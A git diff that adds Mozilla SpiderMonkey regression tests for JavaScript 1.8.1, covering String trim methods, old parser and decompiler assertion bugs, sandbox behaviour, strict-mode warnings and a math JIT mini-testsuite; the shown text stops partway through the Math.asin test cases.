+JavaScript 1.8.1
diff --git a/js/src/tests/js1_8_1/String/browser.js b/js/src/tests/js1_8_1/String/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/String/browser.js
diff --git a/js/src/tests/js1_8_1/String/regress-305064.js b/js/src/tests/js1_8_1/String/regress-305064.js
new file mode 100644
index 000000000..c3e45e43c
--- /dev/null
+++ b/js/src/tests/js1_8_1/String/regress-305064.js
@@ -0,0 +1,144 @@
+// |reftest| fails
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 305064;
+var summary = 'Tests the trim, trimRight and trimLeft methods';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var trimMethods = ['trim', 'trimLeft', 'trimRight'];
+
+/** List from ES 3.1 Recommendation for String.trim (bug 305064) **/
+var whitespace = [
+ {s : '\u0009', t : 'HORIZONTAL TAB'},
+ {s : '\u000B', t : 'VERTICAL TAB'},
+ {s : '\u000C', t : 'FORMFEED'},
+ {s : '\u0020', t : 'SPACE'},
+ {s : '\u00A0', t : 'NO-BREAK SPACE'},
+ {s : '\u1680', t : 'OGHAM SPACE MARK'},
+ {s : '\u180E', t : 'MONGOLIAN VOWEL SEPARATOR'},
+ {s : '\u2000', t : 'EN QUAD'},
+ {s : '\u2001', t : 'EM QUAD'},
+ {s : '\u2002', t : 'EN SPACE'},
+ {s : '\u2003', t : 'EM SPACE'},
+ {s : '\u2004', t : 'THREE-PER-EM SPACE'},
+ {s : '\u2005', t : 'FOUR-PER-EM SPACE'},
+ {s : '\u2006', t : 'SIX-PER-EM SPACE'},
+ {s : '\u2007', t : 'FIGURE SPACE'},
+ {s : '\u2008', t : 'PUNCTUATION SPACE'},
+ {s : '\u2009', t : 'THIN SPACE'},
+ {s : '\u200A', t : 'HAIR SPACE'},
+ {s : '\u202F', t : 'NARROW NO-BREAK SPACE'},
+ {s : '\u205F', t : 'MEDIUM MATHEMATICAL SPACE'},
+ {s : '\u3000', t : 'IDEOGRAPHIC SPACE'},
+ {s : '\u000A', t : 'LINE FEED OR NEW LINE'},
+ {s : '\u000D', t : 'CARRIAGE RETURN'},
+ {s : '\u2028', t : 'LINE SEPARATOR'},
+ {s : '\u2029', t : 'PARAGRAPH SEPARATOR'},
+ {s : '\u200B', t : 'ZERO WIDTH SPACE (category Cf)'}
+ ];
+
+for (var j = 0; j < trimMethods.length; ++j)
+{
+ var str;
+
+ var method = trimMethods[j];
+
+ if (typeof String.prototype[method] == 'undefined')
+ {
+ reportCompare(true, true, 'Test skipped. String.prototype.' + method + ' is not supported');
+ continue;
+ }
+
+ print('Test empty string.');
+ str = '';
+ expected = '';
+ actual = str[method]();
+ reportCompare(expected, actual, '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test string with no whitespace.');
+ str = 'a';
+ expected = 'a';
+ actual = str[method]();
+ reportCompare(expected, actual, '"' + toPrinted(str) + '".' + method + '()');
+
+ for (var i = 0; i < whitespace.length; ++i)
+ {
+ var v = whitespace[i].s;
+ var t = whitespace[i].t;
+ v = v + v + v;
+
+ print('=======================================');
+ print('Test ' + method + ' with with only whitespace. : ' + t);
+ str = v;
+ expected = '';
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with no leading or trailing whitespace. : ' + t);
+ str = 'a' + v + 'b';
+ expected = str;
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with leading whitespace. : ' + t);
+ str = v + 'a';
+ switch(method)
+ {
+ case 'trim':
+ expected = 'a';
+ break;
+ case 'trimLeft':
+ expected = 'a';
+ break;
+ case 'trimRight':
+ expected = str;
+ break;
+ }
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with trailing whitespace. : ' + t);
+ str = 'a' + v;
+ switch(method)
+ {
+ case 'trim':
+ expected = 'a';
+ break;
+ case 'trimLeft':
+ expected = str;
+ break;
+ case 'trimRight':
+ expected = 'a';
+ break;
+ }
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ print('Test ' + method + ' with with leading and trailing whitepace.');
+ str = v + 'a' + v;
+ switch(method)
+ {
+ case 'trim':
+ expected = 'a';
+ break;
+ case 'trimLeft':
+ expected = 'a' + v;
+ break;
+ case 'trimRight':
+ expected = v + 'a';
+ break;
+ }
+ actual = str[method]();
+ reportCompare(expected, actual, t + ':' + '"' + toPrinted(str) + '".' + method + '()');
+
+ }
+}
+
diff --git a/js/src/tests/js1_8_1/String/shell.js b/js/src/tests/js1_8_1/String/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/String/shell.js
diff --git a/js/src/tests/js1_8_1/browser.js b/js/src/tests/js1_8_1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/browser.js
diff --git a/js/src/tests/js1_8_1/extensions/browser.js b/js/src/tests/js1_8_1/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/browser.js
diff --git a/js/src/tests/js1_8_1/extensions/new-parenthesization.js b/js/src/tests/js1_8_1/extensions/new-parenthesization.js
new file mode 100644
index 000000000..a3aebf383
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/new-parenthesization.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jesse Ruderman
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 521456;
+var summary =
+ 'Incorrect decompilation of new (eval(v)).s and new (f.apply(2)).s';
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function foo(c) { return new (eval(c)).s; }
+function bar(f) { var a = new (f.apply(2).s); return a; }
+
+assertEq(bar.toString().search(/new\s+f/), -1);
+assertEq(foo.toString().search(/new\s+eval/), -1);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_1/extensions/regress-353214-02.js b/js/src/tests/js1_8_1/extensions/regress-353214-02.js
new file mode 100644
index 000000000..13a8f246d
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/regress-353214-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353214;
+var summary = 'bug 353214';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function ([x]) { let y; }
+ expect = 'function ([x]) { let y; }';
+ actual = f + '';
+
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/extensions/regress-437288-01.js b/js/src/tests/js1_8_1/extensions/regress-437288-01.js
new file mode 100644
index 000000000..d9813c34f
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/regress-437288-01.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 437288;
+var summary = 'for loop turning into a while loop';
+var actual = 'No Hang';
+var expect = 'No Hang';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { const x = 1; for (x in null); })();');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/extensions/regress-452498-162.js b/js/src/tests/js1_8_1/extensions/regress-452498-162.js
new file mode 100644
index 000000000..543c9a1b0
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/regress-452498-162.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #162 From Gary Kwong
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Assertion failure: !OBJ_GET_CLASS(cx, proto)->getObjectOps, at ../jsobj.cpp:2030
+
+this.__defineGetter__("x3", Function);
+parseInt = x3;
+parseInt.prototype = [];
+for (var z = 0; z < 4; ++z) { new parseInt() }
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_8_1/extensions/regress-452498-193.js b/js/src/tests/js1_8_1/extensions/regress-452498-193.js
new file mode 100644
index 000000000..1397bf4bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/regress-452498-193.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #193 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: afunbox->parent, at ../jsparse.cpp:1912
+
+ this.x = undefined;
+ this.watch("x", Function);
+ NaN = uneval({ get \u3056 (){ return undefined } });
+ x+=NaN;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/extensions/regress-452498-196.js b/js/src/tests/js1_8_1/extensions/regress-452498-196.js
new file mode 100644
index 000000000..69d5a3586
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/regress-452498-196.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #196 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: localKind == JSLOCAL_VAR || localKind == JSLOCAL_CONST, at ../jsfun.cpp:916
+
+ this.x = undefined;
+ this.watch("x", Function);
+ NaN = uneval({ get \u3056 (){ return undefined } });
+ x+=NaN;
+
+ reportCompare(expect, actual, summary + ': 1');
+
+// Assertion failure: lexdep->isLet(), at ../jsparse.cpp:1900
+
+ (function (){
+ var x;
+ eval("var x; (function ()x)");
+ }
+ )();
+
+ reportCompare(expect, actual, summary + ': 2');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/extensions/regress-466905-04.js b/js/src/tests/js1_8_1/extensions/regress-466905-04.js
new file mode 100644
index 000000000..95f9e2aef
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/regress-466905-04.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Prototypes of sandboxed arrays';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx != 'function')
+ {
+ expect = actual = 'Test skipped: requires evalcx support';
+ }
+ else
+ {
+ expect = true;
+
+ function createArray()
+ {
+ var a;
+ for (var i = 0; i < 10; i++)
+ a = [1, 2, 3, 4, 5];
+ return a;
+ }
+
+ var sandbox = evalcx("lazy");
+ sandbox.createArray = createArray;
+ var p1 = Object.getPrototypeOf(createArray());
+ var p2 = Object.getPrototypeOf(evalcx("createArray()", sandbox));
+ print(actual = (p1 === p2));
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/extensions/regress-466905-05.js b/js/src/tests/js1_8_1/extensions/regress-466905-05.js
new file mode 100644
index 000000000..c1da83dba
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/regress-466905-05.js
@@ -0,0 +1,45 @@
+// |reftest| skip -- no-op in browser, fails in shell - see bug 554793
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Sandbox shapes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx != 'function')
+ {
+ expect = actual = 'Test skipped: requires evalcx support';
+ }
+ else if (typeof shapeOf != 'function')
+ {
+ expect = actual = 'Test skipped: requires shapeOf support';
+ }
+ else
+ {
+
+ var s1 = evalcx('lazy');
+ var s2 = evalcx('lazy');
+
+ expect = shapeOf(s1);
+ actual = shapeOf(s2);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/extensions/regress-477158.js b/js/src/tests/js1_8_1/extensions/regress-477158.js
new file mode 100644
index 000000000..9ff3591e6
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/regress-477158.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477158;
+var summary = 'Do not assert: v == JSVAL_TRUE || v == JSVAL_FALSE';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ x = 0;
+ x = x.prop;
+ for each (let [] in ['', '']) { switch(x) { default: (function(){}); } };
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/extensions/regress-477187.js b/js/src/tests/js1_8_1/extensions/regress-477187.js
new file mode 100644
index 000000000..76b2d1954
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/regress-477187.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477187;
+var summary = 'timeout script';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined' || typeof timeout != 'function')
+ {
+ print(expect = actual = 'Test skipped due to lack of timeout function');
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ expectExitCode(6);
+ timeout(0.01);
+ // Call reportCompare early here to get a result. The test will fail if
+ // the timeout doesn't work and the test framework is forced to terminate
+ // the test.
+ reportCompare(expect, actual, summary);
+
+ while(1);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/extensions/regress-520572.js b/js/src/tests/js1_8_1/extensions/regress-520572.js
new file mode 100644
index 000000000..97f00029a
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/regress-520572.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 520572;
+var summary = 'watch should innerize the object being watched';
+var actual = 0;
+var expect = 2;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if ("evalcx" in this) {
+ // shell
+ let s = evalcx("lazy");
+ s.n = 0;
+ evalcx('this.watch("x", function(){ n++; }); this.x = 4; x = 6', s);
+ actual = s.n;
+ reportCompare(expect, actual, summary);
+ } else {
+ // browser
+ this.watch('x', function(){ actual++; });
+ this.x = 4;
+ x = 6;
+ reportCompare(expect, actual, summary);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/extensions/shell.js b/js/src/tests/js1_8_1/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/shell.js
diff --git a/js/src/tests/js1_8_1/extensions/strict-warning.js b/js/src/tests/js1_8_1/extensions/strict-warning.js
new file mode 100644
index 000000000..b5a37ea70
--- /dev/null
+++ b/js/src/tests/js1_8_1/extensions/strict-warning.js
@@ -0,0 +1,32 @@
+// Turn on strict mode and warnings-as-errors mode.
+if (options().split().indexOf('strict') == -1)
+ options('strict');
+if (options().split().indexOf('werror') == -1)
+ options('werror');
+
+function expectSyntaxError(stmt) {
+ print(stmt);
+ var result = 'no error';
+ try {
+ Function(stmt);
+ } catch (exc) {
+ result = exc.constructor.name;
+ }
+ assertEq(result, 'SyntaxError');
+}
+
+function test(expr) {
+ // Without extra parentheses, expect an error.
+ expectSyntaxError('if (' + expr + ') {};');
+
+ // Extra parentheses silence the warning/error.
+ Function('if ((' + expr + ')) {};');
+}
+
+// Overparenthesized assignment in a condition should not be a strict error.
+test('a = 0');
+test('a = (f(), g)');
+test('a = b || c > d');
+expectSyntaxError('if (a == 0);');
+reportCompare('passed', 'passed', 'Overparenthesized assignment in a condition should not be a strict error.');
+
diff --git a/js/src/tests/js1_8_1/jit/browser.js b/js/src/tests/js1_8_1/jit/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/browser.js
diff --git a/js/src/tests/js1_8_1/jit/math-jit-tests.js b/js/src/tests/js1_8_1/jit/math-jit-tests.js
new file mode 100644
index 000000000..ac8e4b510
--- /dev/null
+++ b/js/src/tests/js1_8_1/jit/math-jit-tests.js
@@ -0,0 +1,687 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 'none';
+var summary = 'trace-capability math mini-testsuite';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+/**
+ * A number of the tests in this file depend on the setting of
+ * HOTLOOP. Define some constants up front, so they're easy to grep
+ * for.
+ */
+// The HOTLOOP constant we depend on; only readable from our stats
+// object in debug builds.
+const haveTracemonkey = !!(this.tracemonkey)
+const HOTLOOP = haveTracemonkey ? tracemonkey.HOTLOOP : 2;
+
+var testName = null;
+if ("arguments" in this && arguments.length > 0)
+ testName = arguments[0];
+var fails = [], passes=[];
+
+function jitstatHandler(f)
+{
+ if (!haveTracemonkey)
+ return;
+
+ // XXXbz this is a nasty hack, but I can't figure out a way to
+ // just use jitstats.tbl here
+ f("recorderStarted");
+ f("recorderAborted");
+ f("traceCompleted");
+ f("sideExitIntoInterpreter");
+ f("typeMapMismatchAtEntry");
+ f("returnToDifferentLoopHeader");
+ f("traceTriggered");
+ f("globalShapeMismatchAtEntry");
+ f("treesTrashed");
+ f("slotPromoted");
+ f("unstableLoopVariable");
+ f("noCompatInnerTrees");
+ f("breakLoopExits");
+ f("returnLoopExits");
+}
+
+function test(f)
+{
+ if (!testName || testName == f.name) {
+ // Collect our jit stats
+ var localJITstats = {};
+ jitstatHandler(function(prop, local, global) {
+ localJITstats[prop] = tracemonkey[prop];
+ });
+ check(f.name, f(), f.expected, localJITstats, f.jitstats);
+ }
+}
+
+function map_test(t, cases)
+{
+ for (var i = 0; i < cases.length; i++) {
+ function c() { return t(cases[i].input); }
+ c.expected = cases[i].expected;
+ c.name = t.name + "(" + uneval(cases[i].input) + ")";
+ test(c);
+ }
+}
+
+// Use this function to compare expected and actual test results.
+// Types must match.
+// For numbers, treat NaN as matching NaN, distinguish 0 and -0, and
+// tolerate a certain degree of error for other values.
+//
+// These are the same criteria used by the tests in js/tests, except that
+// we distinguish 0 and -0.
+function close_enough(expected, actual)
+{
+ if (typeof expected != typeof actual)
+ return false;
+ if (typeof expected != 'number')
+ return actual == expected;
+
+ // Distinguish NaN from other values. Using x != x comparisons here
+ // works even if tests redefine isNaN.
+ if (actual != actual)
+ return expected != expected
+ if (expected != expected)
+ return false;
+
+ // Tolerate a certain degree of error.
+ if (actual != expected)
+ return Math.abs(actual - expected) <= 1E-10;
+
+ // Distinguish 0 and -0.
+ if (actual == 0)
+ return (1 / actual > 0) == (1 / expected > 0);
+
+ return true;
+}
+
+function check(desc, actual, expected, oldJITstats, expectedJITstats)
+{
+ var pass = false;
+ if (close_enough(expected, actual)) {
+ pass = true;
+ jitstatHandler(function(prop) {
+ if (expectedJITstats && prop in expectedJITstats &&
+ expectedJITstats[prop] !=
+ tracemonkey[prop] - oldJITstats[prop]) {
+ pass = false;
+ }
+ });
+ if (pass) {
+ reportCompare(expected, actual, desc);
+ passes.push(desc);
+ return print(desc, ": passed");
+ }
+ }
+
+ if (expected instanceof RegExp) {
+ pass = reportMatch(expected, actual + '', desc);
+ if (pass) {
+ jitstatHandler(function(prop) {
+ if (expectedJITstats && prop in expectedJITstats &&
+ expectedJITstats[prop] !=
+ tracemonkey[prop] - oldJITstats[prop]) {
+ pass = false;
+ }
+ });
+ }
+ if (pass) {
+ passes.push(desc);
+ return print(desc, ": passed");
+ }
+ }
+
+ reportCompare(expected, actual, desc);
+
+ fails.push(desc);
+ var expectedStats = "";
+ if (expectedJITstats) {
+ jitstatHandler(function(prop) {
+ if (prop in expectedJITstats) {
+ if (expectedStats)
+ expectedStats += " ";
+ expectedStats +=
+ prop + ": " + expectedJITstats[prop];
+ }
+ });
+ }
+ var actualStats = "";
+ if (expectedJITstats) {
+ jitstatHandler(function(prop) {
+ if (prop in expectedJITstats) {
+ if (actualStats)
+ actualStats += " ";
+ actualStats += prop + ": " + (tracemonkey[prop]-oldJITstats[prop]);
+ }
+ });
+ }
+ print(desc, ": FAILED: expected", typeof(expected),
+ "(", uneval(expected), ")",
+ (expectedStats ? " [" + expectedStats + "] " : ""),
+ "!= actual",
+ typeof(actual), "(", uneval(actual), ")",
+ (actualStats ? " [" + actualStats + "] " : ""));
+}
+
+/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+// Apply FUNCNAME to ARGS, and check against EXPECTED.
+// Expect a loop containing such a call to be traced.
+// FUNCNAME and ARGS are both strings.
+// ARGS has the form of an argument list: a comma-separated list of expressions.
+// Certain Tracemonkey limitations require us to pass FUNCNAME as a string.
+// Passing ARGS as a string allows us to assign better test names:
+// expressions like Math.PI/4 haven't been evaluated to big hairy numbers.
+function testmath(funcname, args, expected) {
+ var i, j;
+
+ var arg_value_list = eval("[" + args + "]");
+ var arity = arg_value_list.length;
+
+ // Build the string "a[i][0],...,a[i][ARITY-1]".
+ var actuals = []
+ for (i = 0; i < arity; i++)
+ actuals.push("a[i][" + i + "]");
+ actuals = actuals.join(",");
+
+ // Create a function that maps FUNCNAME across an array of input values.
+ // Unless we eval here, the call to funcname won't get traced.
+ // FUNCNAME="Infinity/Math.abs" and cases like that happen to
+ // parse, too, in a twisted way.
+ var mapfunc = eval("(function(a) {\n"
+ + " for (var i = 0; i < a.length; i++)\n"
+ + " a[i] = " + funcname + "(" + actuals +");\n"
+ + " })\n");
+
+ // To prevent the compiler from doing constant folding, produce an
+ // array to pass to mapfunc that contains enough dummy
+ // values at the front to get the loop body jitted, and then our
+ // actual test value.
+ var dummies_and_input = [];
+ for (i = 0; i < RUNLOOP; i++) {
+ var dummy_list = [];
+ for (j = 0; j < arity; j++)
+ dummy_list[j] = .0078125 * ((i + j) % 128);
+ dummies_and_input[i] = dummy_list;
+ }
+ dummies_and_input[RUNLOOP] = arg_value_list;
+
+ function testfunc() {
+ // Map the function across the dummy values and the test input.
+ mapfunc(dummies_and_input);
+ return dummies_and_input[RUNLOOP];
+ }
+ testfunc.name = funcname + "(" + args + ")";
+ testfunc.expected = expected;
+
+ // Disable jitstats check. This never worked right. The actual part of the
+ // loop we cared about was never traced. We traced the filler parts early
+ // and then took a mismatch side exit on every subequent array read with
+ // a different type (gal, discovered when fixing bug 479110).
+ // testfunc.jitstats = {
+ // recorderStarted: 1,
+ // recorderAborted: 0,
+ // traceTriggered: 1
+ // };
+
+ test(testfunc);
+}
+
+testmath("Math.abs", "void 0", Number.NaN)
+testmath("Math.abs", "null", 0)
+testmath("Math.abs", "true", 1)
+testmath("Math.abs", "false", 0)
+testmath("Math.abs", "\"a string primitive\"", Number.NaN)
+testmath("Math.abs", "new String( 'a String object' )", Number.NaN)
+testmath("Math.abs", "Number.NaN", Number.NaN)
+testmath("Math.abs", "0", 0)
+testmath("Math.abs", "-0", 0)
+testmath("Infinity/Math.abs", "-0", Infinity)
+testmath("Math.abs", "Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.abs", "Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY)
+testmath("Math.abs", "- Number.MAX_VALUE", Number.MAX_VALUE)
+testmath("Math.abs", "-Number.MIN_VALUE", Number.MIN_VALUE)
+testmath("Math.abs", "Number.MAX_VALUE", Number.MAX_VALUE)
+testmath("Math.abs", "Number.MIN_VALUE", Number.MIN_VALUE)
+testmath("Math.abs", "-1", 1)
+testmath("Math.abs", "new Number(-1)", 1)
+testmath("Math.abs", "1", 1)
+testmath("Math.abs", "Math.PI", Math.PI)
+testmath("Math.abs", "-Math.PI", Math.PI)
+testmath("Math.abs", "-1/100000000", 1/100000000)
+testmath("Math.abs", "-Math.pow(2,32)", Math.pow(2,32))
+testmath("Math.abs", "Math.pow(2,32)", Math.pow(2,32))
+testmath("Math.abs", "-0xfff", 4095)
+testmath("Math.abs", "-0777", 511)
+testmath("Math.abs", "'-1e-1'", 0.1)
+testmath("Math.abs", "'0xff'", 255)
+testmath("Math.abs", "'077'", 77)
+testmath("Math.abs", "'Infinity'", Infinity)
+testmath("Math.abs", "'-Infinity'", Infinity)
+
+testmath("Math.acos", "void 0", Number.NaN)
+testmath("Math.acos", "null", Math.PI/2)
+testmath("Math.acos", "Number.NaN", Number.NaN)
+testmath("Math.acos", "\"a string\"", Number.NaN)
+testmath("Math.acos", "'0'", Math.PI/2)
+testmath("Math.acos", "'1'", 0)
+testmath("Math.acos", "'-1'", Math.PI)
+testmath("Math.acos", "1.00000001", Number.NaN)
+testmath("Math.acos", "-1.00000001", Number.NaN)
+testmath("Math.acos", "1", 0)
+testmath("Math.acos", "-1", Math.PI)
+testmath("Math.acos", "0", Math.PI/2)
+testmath("Math.acos", "-0", Math.PI/2)
+testmath("Math.acos", "Math.SQRT1_2", Math.PI/4)
+testmath("Math.acos", "-Math.SQRT1_2", Math.PI/4*3)
+testmath("Math.acos", "0.9999619230642", Math.PI/360)
+testmath("Math.acos", "-3.0", Number.NaN)
+
+testmath("Math.asin", "void 0", Number.NaN)
+testmath("Math.asin", "null", 0)
+testmath("Math.asin", "Number.NaN", Number.NaN)
+testmath("Math.asin", "\"string\"", Number.NaN)
+testmath("Math.asin", "\"0\"", 0)
+testmath("Math.asin", "\"1\"", Math.PI/2)
